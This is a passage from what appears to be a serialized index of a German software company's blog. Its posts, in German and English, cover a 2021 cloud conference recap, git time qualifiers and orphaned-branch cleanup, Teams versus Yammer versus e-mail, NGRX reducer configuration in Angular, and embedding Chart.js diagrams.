ausgeliefert werden. Durch entsprechendes Auswerten von Logs und u.Ä. kann man somit z.B. ein klassisches A-B-Testing durchführen und die Features dann für alle Nutzer ausrollen.\nDabei kann ein Framework unterstützen, um zum einen die Entwicklung zu vereinfachen und zum anderen können hierdurch noch weitere Funktionalitäten genutzt werden. So kann z.B. auch definiert werden, wie viel Prozent der Benutzer bereits ein neues Feature ausgeliefert bekommen. Bestimmte Benutzergruppen bzw. Benutzer können auch die neuen Features zuerst nutzen.\nBei der Verteilung neuer Features sollten unterschiedliche Deployment-Rings berücksichtigt werden. So sollte auf dem Canary-Ring bspw. nur für freiwillige Nutzer Features ausgerollt werden oder z.B. auch Entwickler.\nDesto näher man sich demnach Richtung produktivem Einsatz bewegt, desto weniger neue Features sind in der Regel aktiviert, da hier die Auswirkung eines fehlerhaften Features am stärksten wäre. In Summe erhält man durch Feature Flags in ASP.NET Core App ein Framework, um diese teilweise auch konfigurativ zu aktiveren zu können. Diese kann man dann auch nach dem Deployment dynamisch in Azure aktivieren und deaktivieren.\nDurable Functions Zum Thema Azure Functions gab es auf dem Collab- und CloudSummit gleich mehrere Keynotes unterschiedlicher Speaker. Interessant waren für mich die Keynotes zu Durable Functions. Meistens ging es um die Grundsätze von Durable Functions und die unterschiedlichen Anwendungsmuster.\nDer Hauptunterschied zu der klassischen Azure Function ist die Auftrennung der Verarbeitungslogik. Hierbei besteht nach wie vor eine Function, die durch einen HTTP-Call gestartet werden kann. Diese Function wiederum startet eine Orchestrator-Function. Die Implementierung darf nur deterministisch sein, da die Orchestrator-Function eine oder mehrere Activity-Functions ausführt und die Ergebnisse dieser zusammenführt und nach dem erfolgreichen Beendigen der Aufrufe zurückgibt. Der initiale Aufruf auf die Start-Function der Durable-Function ist somit asynchron. Die Zustände des jeweiligen Runs werden im entsprechenden Storage-Account der Azure-Function-Ressource gehalten. Hierüber können die Activity-Functions auch unterschiedliche Status austauschen.\nEin Anwendungsmuster kann z.B. die Verwendung der Funktionsverkettung sein. Das bedeutet, man führt eine Activity-Function aus, wartet auf das Ergebnis und übergibt dieses an die nächste Activity-Function.\nBeispielcode der Microsoft-Docs-Seite:\n[FunctionName(\u0026#34;Chaining\u0026#34;)] publicstaticasyncTask\u0026lt;object\u0026gt; Run( [OrchestrationTrigger] IDurableOrchestrationContext context){ try{ varx = awaitcontext.CallActivityAsync\u0026lt;object\u0026gt;(\u0026#34;F1\u0026#34;, null); vary = awaitcontext.CallActivityAsync\u0026lt;object\u0026gt;(\u0026#34;F2\u0026#34;, x); varz = awaitcontext.CallActivityAsync\u0026lt;object\u0026gt;(\u0026#34;F3\u0026#34;, y); returnawaitcontext.CallActivityAsync\u0026lt;object\u0026gt;(\u0026#34;F4\u0026#34;, z); } catch (Exception) { // Error handling or compensation goes here.} }\u0026lt;/object\u0026gt;\u0026lt;/object\u0026gt;\u0026lt;/object\u0026gt;\u0026lt;/object\u0026gt;\u0026lt;/object\u0026gt; Durable Functions bieten somit Lösungen u.a. für langläufige Funktionsaufrufe, welche für gewöhnlich durch einen HTTP-Timeout beschränkt werden.\nMulti Cloud mit Google Anthos Wie bereits erwähnt, waren neben zahlreichen Microsoft-Vertretern auch einige wenige Google-Mitarbeitende vor Ort, wenn auch stark unterrepräsentiert. Dabei waren die Keynotes der Speaker nicht minder interessant. So hat beispielsweise Ted Schönbeck (Head of Cloud Technology – Google Cloud Sweden) einen Einblick in Googles Lösungsidee für eine Multicloud-Strategie gegeben.\nGoogle verfolgt hierbei den Ansatz die Anwendungen mithilfe von Kubernetes und dem plattformunabhängigen Service Mesh Istio und Knative zu verwalten und auszuführen. Ähnliche Konzepte bietet Microsoft auch in Azure. Google setzt hierbei allerdings auf ihr Produkt Anthos. Mit Anthos stellt man ein Management-Tool bereit, um seine Anwendungen auf einer Cloud seiner Wahl ausführen und managen zu können. Es spielt hierbei keine Rolle, ob die Anwendungen auf einem OnPrem-System, in der Azure und/oder in der Google Cloud gehosted sind.\nMit dieser Lösung sollen bestehende Anwendungen weiterentwickelt, gewartet und ausgeführt werden. Googles Ansatz hierbei ist es, den Kunden unabhängig vom Einsatz der Laufzeitumgebung zu betreuen. Somit sind neben der Verwendung von Anthos bei einem einzelnen Cloud-Anbieter oder dem reinen OnPrem-Einsatz auch die Verwendung von mehreren Cloud-Umgebungen und/oder Teilen davon in einem OnPrem-Umfeld möglich. Somit stellt Anthos die Lösung von Google für eine Multi- oder auch Hybrid-Cloud-Lösung dar.\nMS Teams, Yammer, Microsoft Viva etc. Natürlich gab es auch Keynotes zu neuen Funktionen in MS Teams, SharePoint, OneDrive und Microsoft Viva. Viele dieser Features waren schon aus der Microsoft Ignite bekannt und wurden bereits ausgerollt (u.a. Antworten auf Nachrichten in Teams Desktop). Die Keynotes fokussierten sich hierbei oft auf das Thema der User-Adaption in Unternehmen. Weitere Features welche erwähnenswert waren, sind u.a. Shared Channels, Verfügbarkeit von Microsoft Viva und SharePoint Syntex.\nFazit Der European Collaboration und Cloud Summit hat einen sehr guten Überblick der aktuellen Entwicklung in den entsprechenden Bereichen gegeben. Mit den technischen Keynotes mit Live-Coding-Anteilen konnte man einen guten Einblick in die grundsätzliche Funktionsweise der Technologie erhalten. Allerdings war ein DeepDive in die Materie oft nicht möglich, aufgrund der knapp bemessenen Zeit für jede Session. Allerdings verwiesen die Speaker auf mögliche Fragerunden außerhalb der Session, so konnte man auch mit konkreten Problemstellungen in die Diskussion mit den Speakern gehen. Und das macht natürlich eine Konferenz in Präsenz attraktiv: der direkte Austausch mit den Speakern.\nInteressant war aus meiner Sicht auch die Teilnahme von einigen Google-Vertretern, die auch einen anderen Blickwinkel auf einige Gesichtspunkte der Cloud-Technologien gegeben haben. Ich hoffe, dass dies in Zukunft zunehmen wird und man hierdurch nicht nur den reinen Microsoft-Fokus z.B. auf Azure erhält, sondern auch andere Technologien und Lösungsmöglichkeiten von Google oder aber auch AWS sehen kann. Für mich war es eine sehr interessante Konferenz, auf der ich bestimmt nicht zum letzten Mal war.\n","date":"16. Dezember 2021","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/european-collaboration-cloud-summit-2021_hubfdf124ed5d1f044665f5bd36828d882_111758_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/european-collaboration-cloud-summit-2021_hubfdf124ed5d1f044665f5bd36828d882_111758_650x0_resize_q90_box.jpg'\"\u003e\n \n \n \n\n","permalink":"/european-collaboration-cloud-summit-2021/","tags":["microsoft-365","azure"],"title":"European Collaboration \u0026 Cloud Summit 2021"},{"categories":["Quick-Tipps","Serien"],"contents":"Have you ever heard about time qualifiers in git? Basically, they enable us to specify a certain point in time to take into account when dealing with git references like branches. There’s much potential for time qualifiers in operations like git diff or even git checkout, where they can be used to track down bugs on when exactly they were introduced for example.\nTime qualifiers can be appended to references like branches with the @{\u0026lt;TIME_QUALIFIER\u0026gt;} notation. Some valid time qualifiers are\n@{0} @{5.minutes.ago} @{1.hour.ago} @{1.day.ago} @{2.weeks.ago} @{3.years.ago} @{yesterday} @{2021-11-23.08:30:00} @{1.day.12.hours.ago} Say for example, you want to check if some bug has been present already before deployment last friday. It is now monday. To see how data.service.ts looked like on friday or respectively what has been changed in there since then, you can do\ngit diff develop@{3.days.ago} -- src/app/core/data.service.ts or\ngit diff develop@{3.days.ago}..develop@{0} -- src/app/core/data.service.ts Of course, you would never deploy on friday.\nSpeaking of this particular bug, you now want to go back to the commit before deployment to tinker around and investigate further. Sure, you could use git log to search the commit and use the hash directly. But it may be faster and more convenient to use a time qualifier for that, too.\ngit checkout develop@{3.days.ago} Personally, I think time qualifiers are one of the lesser known features in git but can come in very handy especially in investigative situations, which is why I wanted you to know about them.\n","date":"9. Dezember 2021","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/quick-git-time-qualifiers_hu66032a367886154ceae2087fda03010f_10842_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/quick-git-time-qualifiers_hu66032a367886154ceae2087fda03010f_10842_650x0_resize_q90_box.jpg'\"\u003e\n \n \n \n\n","permalink":"/quick-git-time-qualifiers/","tags":["tooling"],"title":"Quick Git - Time Qualifiers"},{"categories":["Insights"],"contents":"Im täglichen Kommunizieren und Arbeiten gemeinsam im Team verliert man bei der breiten Vielfalt der Tools schnell mal den Überblick – und das alleine nur von Microsoft. Im heutigen Arbeitsleben kommen allerdings immer mehr Kommunikations- und Kollaborationstools zum Einsatz, die teilweise stark an Bekanntem aus dem Privaten anknüpfen. So ähnelt Yammer beispielsweise einem klassischen Sozialen Netzwerk wie Facebook oder Twitter, nur eben mit dem Fokus auf das geschäftliche Umfeld.\nNun ist Yammer mitnichten das beste Tool, um gemeinsam an Projekten zu arbeiten. Daneben gibt es noch Microsoft Teams und natürlich die klassische E-Mail. Die Einsatzzwecke dieser Tools sind nicht klar voneinander getrennt, das ist natürlich bewusst so gewählt, damit jedes Unternehmen und deren Mitarbeitenden, das für sie passende Setting wählen kann. In diesem Beitrag gehe ich auf die grundsätzlichen Funktionalitäten der Tools ein und ordne diese ein, für welchen Einsatzzweck sie gedacht sind.\nKriterien Bevor ich die jeweiligen Tools betrachte, möchte ich zunächst einige Kriterien definieren, um die Anwendbarkeit auf die Tools einordnen zu können.\nKommunikation im Team Kommunikation mit externen Nutzern Kommunikation mit einzelnen Personen Teilen von Daten Microsoft Teams Teams stellt das zentrale Kollaborationstool von Microsoft dar. Dabei gehört neben der Arbeit in Teams und Channels auch das typische Chatten in persönlichen oder Gruppenchats genau so dazu, wie der Zugriff auf bestehende Dokumente im dazugehörenden OneDrive, um entsprechende Dokumente zu bearbeiten.\nIn Teams kommen einige Integrationen anderer Anwendungen aus dem Office-365-Umfeld zum Tragen. So wird mit jedem Team automatisch eine Microsoft 365 Group erstellt, welche ein Basis-Set an Diensten automatisch bereitstellt. Hierzu gehört unter anderem OneNote und OneDrive auch eine SharePoint-Site. Somit sind sämtliche zum Team gehörenden Informationen zentral für alle Team-Mitglieder verfügbar.\nDie Kommunikation kann hierbei sowohl mit internen, zur Organisation gehörenden Mitarbeitenden, sowie mit externen Mitarbeitenden geführt werden, indem diese als Gast (Office-365-E3-Lizenz vorausgesetzt) dem Tenant hinzugefügt werden. Falls in einem Team nur bestimmte Personen Zugriff auf einen Channel erhalten sollen, kann hierzu auch ein privater Channel erstellet werden, welcher nur für einen bestimmten Personenkreis freigegeben wird.\nSomit ist das Kommunizieren im Team sowie mit einzelnen Personen oder Teammitgliedern in Teams sehr gut möglich. Auch das Teilen von Daten wird durch die Bereitstellung von OneDrive vereinfacht.\nWenn man nun aber mit allen Mitarbeitenden aus der Organisation oder mit bestimmten Gruppen kommunizieren möchte, welche sich nicht im Team befinden, benötigt man neue Teams-Gruppen mit den Interessensgruppen bzw. allen Mitarbeitenden in einem Team. Das erscheint aber in Anbetracht des jeweiligen Zwecks (Kommunikation und Austausch) als nicht zufriedenstellende Lösung, auch wenn viele Unternehmen eine solche Strategie verfolgen.\nTeams wird also insbesondere für die Kommunikation in seinem jeweiligen Projektteam eingesetzt und dient primär der Zusammenarbeit in Form von Channels, Chats und Meetings/Videotelefonaten.\nYammer Mit Yammer hat Microsoft einen Bestandteil für das Social Intranet bereitgestellt. In der Anfangsgeschichte des Intranets wurden Inhalte stets redaktionell vom Unternehmen bereitgestellt, heutzutage können Mitarbeitende nun ganz anders mit dem Intranet partizipieren und wandeln sich so vom Informationskonsument hinzu zum Bereitsteller von Informationen.\nWenn wir nun auf die Möglichkeiten der Kommunikation eingehen möchten, sehen wir, dass Yammer der Ort für die Mitarbeitende ist, um eine Kommunikation auf Unternehmensebene durchzuführen. Durch den Einsatz von Communities können Interessensgruppen entstehen, welche sich nicht unbedingt mit den Teams-Gruppen überschneiden. Ähnlich zu Teams erhält man hier eine zusammengehörige Kommunikation in Form von Beiträgen und Kommentaren zum jeweiligen Beitrag. Es erinnert in Summe mehr an ein klassisches Soziales Netzwerk – nur eben mit dem Fokus auf den unternehmerischen Aspekt.\nIn jedem Beitrag können Mitarbeitende auch Dateien anfügen. Ähnlich zu den Gruppen in Teams werden in Yammer auch für jede Community-Gruppe eine Microsoft 365 Group erstellt mit samt der Services, welche aus Teams bereits bekannt sind. Somit werden die angehängten Dateien in einem darunterliegenden OneDrive abgelegt. Auch das Einbinden von externen Mitarbeitenden hier möglich.\nYammer ist somit die Plattform, welche dafür gedacht ist, um beispielsweise Ergebnisse aus den jeweiligen Projektteams (in Microsoft Teams) dem gesamten Unternehmen zu präsentieren oder um (unternehmensweit) nach Feedback zu fragen. Die Communities bieten die Möglichkeit, um beispielsweise einen Onboarding-Prozess für Mitarbeitende im Unternehmen abzubilden. Die Mitarbeitenden hätten somit die Möglichkeit, Fragen zu stellen und erfahrenere Mitarbeitende oder Mitarbeitende aus dem HR-Bereich können antworten.\nYammer kann übrigens als App direkt in die Teams-App-Bar eingebunden werden. Somit ist Yammer direkt aus Teams heraus zugreifbar.\nE-Mail Die klassische E-Mail ist nach wie vor ein zentrales Tool, wenn es um die Kommunikation im Unternehmen geht. Das hat sich auch durch den Einsatz von Messaging und Kollaborations-Tools wie beispielsweise Teams oder Social-Intranet-Tools wie Yammer nicht verändert.\nDabei können mit der E-Mail all die Kriterien, welche wir zunächst definiert haben, erfüllt werden. Mit der E-Mail kann der Sender selbst entscheiden, welchen Personenkreis er damit erreichen möchte. Dabei kann es vorkommen, dass einzelne Personen bis hin zu einem Verteiler mit evtl. hunderten E-Mail-Adressen adressiert werden.\nDie E-Mail hat durch die Gruppierungsfunktion bspw. in Outlook den Vorteil, dass so auch eine Konversation der E-Mail-Korrespondenz dargestellt werden kann. Auch sind Kommunikationen bei vertraulichen Dingen einfach, da nur der oder die Beteiligte adressiert werden. Natürlich birgt dies aber immer die Gefahr, dass E-Mails einfach weitergeleitet werden können und somit Informationen an weitere (außenstehende) Personen getragen werden, die diese Information nicht sehen sollten. Dazu gehört z.B. das Teilen von Dateien. Diese können als normaler Anhang (entsprechend der maximalen Dateigröße) der Mail hinzugefügt werden. Office 365 bietet eine einfache Möglichkeit Dateien, welche in OneDrive abgelegt sind, als Link anzufügen. Vor dem Senden der E-Mail wird auch angezeigt, ob der Empfängerkreis Zugriff auf die entsprechende Datei hat. Somit kann für manche Benutzer der Zugriff erteilt werden, bevor die Mail versandt wird.\nWelches Tool soll ich verwenden? Der Überblick hat gut verdeutlicht, dass die Tools rund um Teams, Yammer und E-Mail nicht exklusiv betrachtet werden, sondern dass diese sich gegenseitige ergänzen.\nTeams sollte als Arbeitsumgebung betrachtet werden, in der man sich mit seinen Kollegen mehrmals täglich austauscht und gemeinsam zusammen arbeitet. Hierzu gehört neben den klassischen Chats auch die Kommunikation in Channels. Mit der Integration weiterer Dienste wie OneDrive oder OneNote sind alle Projektdateien und -informationen immer an einer Stelle und der Zugriff hierauf wird durch die Teams zentral gesteuert.\nYammer bietet als Social Intranet die Möglichkeit über die Abteilungs- und Projektgrenzen hinweg, zu kommunizieren. In Communities können sich Mitarbeitende unterschiedlicher Bereiche über gleiche Interessen austauschen. Die Kommunikation erinnert durch die Erstellung von Beitragen und dem Kommentieren dieser stark an ein klassisches soziales Netzwerk (vgl. Facebook und Twitter). Man kann Yammer also als Plattform sehen, welche als Alternative zur Rundmail an alle Mitarbeitende darstellt. Hierüber können Projekt-/Produktteams Feedback im gesamten Unternehmen einholen, welches dann wiederum in den Teams in Teams eingearbeitet werden kann. Somit erweitert Yammer die Funktionalitäten um Teams – nicht allein durch die Integration als App in der Teams-App-Bar.\nDie klassische E-Mail wird auch in einem Modern Workplace mit Teams und Yammer immer ein Bestandteil bleiben. Durch die Erweiterungen mithilfe von Office 365 kann z.B. das Teilen von Dateien mittels OneDrive-Links vereinfacht werden. Die Prämisse sollte sein, jegliche Kommunikation, welche sowohl in Teams oder Yammer stattfinden kann, auch dorthin zu verschieben. Die Kommunikation wäre somit für alle verfügbar und nicht nur für diejenigen, die diese E-Mail erhalten haben. Dabei ist dies oft ein Breaking Change für die Mitarbeitenden, da dies auch eine Verhaltensänderung der Mitarbeitenden und allen voran der Geschäftsführung und des Managements erfordert.\nGrundsätzlich kann man festhalten, dass bei immer größer werdender Adressaten das entsprechende Tool gewählt werden sollte (Rechts: wenige Adressaten; Links: sehr viele Adressaten).\nWelche Erfahrungen habt ihr gemacht? Setzt ihr neben E-Mails und Teams auch Yammer ein?\n","date":"2. Dezember 2021","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/teams-yammer-und-e-mail-kommunikation-aber-wie_hu490effa311b45d3dc8e1e5a6621ee15e_28041_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/teams-yammer-und-e-mail-kommunikation-aber-wie_hu490effa311b45d3dc8e1e5a6621ee15e_28041_650x0_resize_q90_box.jpg'\"\u003e\n \n \n \n\n","permalink":"/teams-yammer-und-e-mail-kommunikation-aber-wie/","tags":["microsoft-365"],"title":"Teams, Yammer und E-Mail: Kommunikation, aber wie?"},{"categories":["Quick-Tipps","Serien"],"contents":"An orphaned branch is a local branch whose remote was deleted. This happens a lot for example when squash merging feature branches into develop and automatically deleting them from remote after the PR completes. Because I tend to forget to delete them also locally, this often leaves me with a lot of old feature branches I from time to time want to dispose. Somehow, there is no built-in git command for that – so I wrote my own!\nPowerShell variant\ngit fetch -p; git branch -vv | sls \u0026#39;gone\u0026#39; | ? { -not $_.Line.startsWith(\u0026#39;*\u0026#39;) } | % { $_.Line.trim().split(\u0026#39; \u0026#39;)[0] } | % { git branch -D $_ } Linux Shell variant:\ngit fetch -p \u0026amp;\u0026amp; git branch -vv | grep gone | cut -d\u0026#39; \u0026#39; -f 3 | grep . | xargs git branch -D These will git fetch all current branches from remote with the -p switch telling git to prune the branches not present there anymore, marking them as gone. Next, those goners will be scraped from the output of git branch and deleted locally each using git branch -D.\nBonus Copying the one-liners all the time quickly gets tedious – make an alias for them!\nUnder Windows, you can add the following to your PowerShell Profile (read more about PowerShell Profiles here )\nfunction Remove-GitOrphanedBranches { git fetch -p git branch -vv | sls \u0026#39;gone\u0026#39; | ? { -not $_.Line.startsWith(\u0026#39;*\u0026#39;) } | % { $_.Line.trim().split(\u0026#39; \u0026#39;)[0] } | % { git branch -D $_ } } Set-Alias git-rm-orphanedbranches Remove-GitOrphanedBranches Under Linux, just add the following to your ~/.bash_profile (or wherever you export your aliases)\nalias git-rm-orphanedbranches=\u0026#34;git fetch -p \u0026amp;\u0026amp; git branch -vv | grep gone | cut -d\u0026#39; \u0026#39; -f 3 | grep . | xargs git branch -D\u0026#34; Then, you can just leverage git-rm-orphanedbranches at any time to clean up after yourself.\nObjektkultur is a german software service provider and partner of Microsoft ","date":"24. November 2021","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/quick-git-delete-local-branches-without-remote_hu45b4b30b967ff84e0407491069351f31_36539_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/quick-git-delete-local-branches-without-remote_hu45b4b30b967ff84e0407491069351f31_36539_650x0_resize_q90_box.jpg'\"\u003e\n \n \n \n\n","permalink":"/quick-git-delete-local-branches-without-remote/","tags":["tooling"],"title":"Quick Git - Delete local branches without remote"},{"categories":["How To"],"contents":"Recently, we started leveraging NGRX in one of our bigger Angular projects. Hands down, NGRX is not the easiest, but undoubtedly one of the most powerful state management libraries out there. In this blog post, I want to tackle an issue that you might have encountered as well when working with reducers in NGRX. That is, injecting services into reducers, so that the initial state can be non-statically defined or set.\nWhat this blog post is not about NGRX’s documentation is great and there are many samples and blog posts out there that help you getting started — even most of the advanced topics are covered:\nNGRX Docs, Blog and Getting started Tomas Trajan writes tremendously well-written articles about architecting Angular applications using (not only) NGRX What we are going to build Think of a quite straightforward reducer for a state. This one below controls the theme of a simple application in a state:\nimport { createReducer, on } from \u0026#39;@ngrx/store\u0026#39;; import { changeTheme, changeAutoNightMode } from \u0026#39;./settings.actions\u0026#39;; import { Theme } from \u0026#39;./theme.model\u0026#39;; export const FEATURE_SETTINGS_KEY = \u0026#39;settings\u0026#39;; export interface State { theme: Theme; autoNightMode: boolean; nightTheme: Theme; } export const initialState: State = { theme: Theme.Light, nightTheme: Theme.Dark, autoNightMode: false, }; export const settingsReducer = createReducer( initialState, on( changeTheme, changeAutoNightMode, (state, action): State =\u0026gt; ({ ...state, ...action, }) ) ); Now, how can we manage to set the initial state if it depends on a service? Think of this:\nSet the initial state by reading the most recent state the application had from the local storage (if available) Set the initial state differently, depending on the currently logged-in user Set the initial state to a value that comes from a server The solution: Inject a service into the reducer and use a factory NGRX’s docs state that there is a simple way of injecting dependencies into reducers. That is, use a factory, create a StoreConfig from it and use an InjectionToken like below to tell Angular which factory to use when retrieving a new StoreConfig for a feature store:\nimport { CommonModule } from \u0026#39;@angular/common\u0026#39;; import { InjectionToken, NgModule } from \u0026#39;@angular/core\u0026#39;; import { EffectsModule } from \u0026#39;@ngrx/effects\u0026#39;; import { StoreConfig, StoreModule } from \u0026#39;@ngrx/store\u0026#39;; import { LocalStorageService } from \u0026#39;src/app/core/local-storage/local-storage.service\u0026#39;; import { SettingsEffects } from \u0026#39;./settings.effects\u0026#39;; import * as fromSettings from \u0026#39;./settings.reducer\u0026#39;; export const SETTINGS_CONFIG_TOKEN = new InjectionToken\u0026lt; StoreConfig\u0026lt;fromSettings.State\u0026gt; \u0026gt;(fromSettings.FEATURE_SETTINGS_KEY); export function settingsConfigFactory( localStorageService: LocalStorageService ): StoreConfig\u0026lt;fromSettings.State\u0026gt; { return { initialState: localStorageService.getItem(fromSettings.FEATURE_SETTINGS_KEY) ?? fromSettings.initialState, }; } @NgModule({ imports: [ CommonModule, StoreModule.forFeature( fromSettings.FEATURE_SETTINGS_KEY, fromSettings.settingsReducer, SETTINGS_CONFIG_TOKEN ), EffectsModule.forFeature([SettingsEffects]), ], declarations: [], providers: [ { provide: SETTINGS_CONFIG_TOKEN, deps: [LocalStorageService], useFactory: settingsConfigFactory, }, ], }) export class SettingsStateModule {} Here, I declared a new module that handles a part of the state of the app (all of this can be managed without feature states also). The InjectionToken is now used within the providers section of the module to declare how the reducer is going to be built. The secret sauce is the factory as it returns a StoreConfig that holds an initial state. For further read, head over to the official NGRX docs .\nReach out if you have questions If you have questions on how to manage feature state with NGRX and how to inject services into them, just head over to my GitHub profile where you can find links to my social media. All of the shown code can be found in a little project here . Happy coding and thank you for coming around! 🎉\n","date":"17. November 2021","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/_huaf11f60243ae802ce0fc3f8138dc0896_36268_4decfd3c14a34893dc0cf5276893f304.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/_huaf11f60243ae802ce0fc3f8138dc0896_36268_bad564b4bc02b6f4991f5e3b2e5e8c12.jpg'\"\u003e\n \n \n \n\n","permalink":"/angular--ngrx-reducers-deep-dive-injecting-a-store-configuration/","tags":["frontend","tooling"],"title":"Angular + NGRX Reducers Deep Dive: Injecting a store configuration"},{"categories":["How To","Serien"],"contents":"«Ein Bild sagt mehr als tausend Worte!» Die grafische Aufbereitung der Daten bietet oft die einzige Möglichkeit, komplexe Sachverhalte aus den Daten zu extrahieren und für den Anwender verständlich darzustellen. Die Visualisierung der Daten erhöht die Akzeptanz der Anwendung für den Benutzer und bestimmt die User-Experience ungemein. Aus diesem Grund möchte ich in diesem Blogeintrag auf die Verwendung von „Chart.js“ eingehen. Mit Hilfe dieser JavaScript-Bibliothek ist es möglich, mit wenig Aufwand verschiedene Diagramme in HTML einzubetten.\nWas ist Chart.js? Chart.js ist ein Open-Source-Projekt mit einer MIT Lizenz, die es erlaubt HTML5 Schaubilder zu erstellen. Aufgrund der ausführlichen Dokumentation auf der Homepage, des leichten Einstiegs sowie der großen Community lassen sich mit überschaubarem Aufwand ansehnliche Grafiken in der Webanwendung darstellen. Chart.js kann Diagramme jeglicher Art erzeugen: Linien-, Balken-, Kuchen-, Polar-Area-, Netz- und Doughnut-Diagramm. Der Teufel steckt selbstverständlich im Detail. Prinzipiell bietet das Produkt jedoch genug Spielraum, einem Großteil der heute aufkommenden Anforderungen gerecht zu werden, das notwendige Knowhow sowie die Ideen vorausgesetzt.\nInstallation und Setup Es gibt verschiedene Möglichkeiten, Chart.js in das Projekt zu integrieren. Der einfachste Weg führt über den Node Package Manager:\nnpm install chart.js –save\nDas Package lässt sich wie andere externe Bibliotheken über CDN im Header der View einbinden:\n\u0026lt;head\u0026gt; \u0026lt;title\u0026gt;Objektkultur Software GmbH\u0026lt;/title\u0026gt; \u0026lt;script src=\u0026#34;https://cdnjs.cloudflare.com/ajax/libs/Chart.js/2.5.0/Chart.min.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;link rel=\u0026#34;stylesheet\u0026#34; type=\u0026#34;text/css\u0026#34; href=\u0026#34;style.css\u0026#34;\u0026gt; \u0026lt;/head\u0026gt; Beim Einsatz des Bibliotheks-Managers „LibMan“ in der Projektmappe erfolgt das Herunterladen der JS-Library über Rechtsklick auf das Projekt in der Projektmappe -\u0026gt; Add -\u0026gt; Client Site Library. Anschließend muss die Bibliothek in der entsprechenden View eingebunden werden.\n\u0026lt;environment include=\u0026#34;Development\u0026#34;\u0026gt; \u0026lt;script src=\u0026#34;~/lib/Chart.js/chart.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;/environment\u0026gt; \u0026lt;environment exclude=\u0026#34;Development\u0026#34;\u0026gt; \u0026lt;script src=\u0026#34;~/lib/Chart.js/chart.min.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;/environment\u0026gt; Diagramme Für eine Initialisierung des Doughnut-Diagramms ist zunächst eine Aufbereitung der Daten notwendig. In unserem Beispiel werden einige Kategorien der Blogeinträge im Chart dargestellt. Dazu wird das Datenobjekt als JSON bereitgestellt sowie die wichtigsten Eigenschaften, wie Labels, Farbe und Anzahl der Beiträge in Arrays verpackt.\ndata: { labels: [\u0026#34;SharePoint\u0026#34;,\u0026#34;Azure\u0026#34;, \u0026#34;.Net\u0026#34;], datasets: [{ data: [6,12,12], borderColor:[ \u0026#34;rgb(60,186,159,0.1)\u0026#34;, \u0026#34;rgb(255,165,0,0.1)\u0026#34;, \u0026#34;rgb(196,88,80,0.1)\u0026#34;, ], backgroundColor: [ \u0026#34;#3cba9f\u0026#34;, \u0026#34;#ffa500\u0026#34;, \u0026#34;#c45850\u0026#34;, ], borderWidth:4, }] } Die Labels entsprechen den einzelnen Segmenten im Bild. Die Farben können im RGB-Format oder als Hexadecimal definiert werden. Wichtiger Hinweis: Immer darauf achten, dass die Anzahl der Farben, Labels und Elemente im Set übereinstimmen, um kein „seltsames“ Verhalten hervorzurufen.\nDiagramme erstellen Mit den aufbereiteten Daten lässt sich nun das Chart kinderleicht in die eigene Webanwendung integrieren. Chart.js verwendet das Canvas-Element. Die Canvas-Tags werden wie gewohnt zwischen div-Tags oder td eingebettet und mit einer eindeutigen ID versehen.\n\u0026lt;head\u0026gt; \u0026lt;title\u0026gt;Objektkultur Software GmbH\u0026lt;/title\u0026gt; \u0026lt;script src=\u0026#34;https://cdnjs.cloudflare.com/ajax/libs/Chart.js/2.5.0/Chart.min.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;link rel=\u0026#34;stylesheet\u0026#34; type=\u0026#34;text/css\u0026#34; href=\u0026#34;style.css\u0026#34;\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body data-rsssl=1\u0026gt; \u0026lt;div style=\u0026#34;width: 600px; height: 600px\u0026#34;\u0026gt; \u0026lt;canvas id=\u0026#34;myChart\u0026#34;\u0026gt;\u0026lt;/canvas\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;script\u0026gt; $(document).ready( function() { var canvas = document.getElementById(\u0026#34;myChart\u0026#34;); var ctx = canvas.getContext(\u0026#34;2d\u0026#34;); var myNewChart = new Chart(ctx, { type: \u0026#39;doughnut\u0026#39;, data: { labels: [\u0026#34;SharePoint\u0026#34;,\u0026#34;Azure\u0026#34;, \u0026#34;.Net\u0026#34;], datasets: [{ data: [6,12,12], borderColor:[ \u0026#34;rgb(60,186,159,0.1)\u0026#34;, 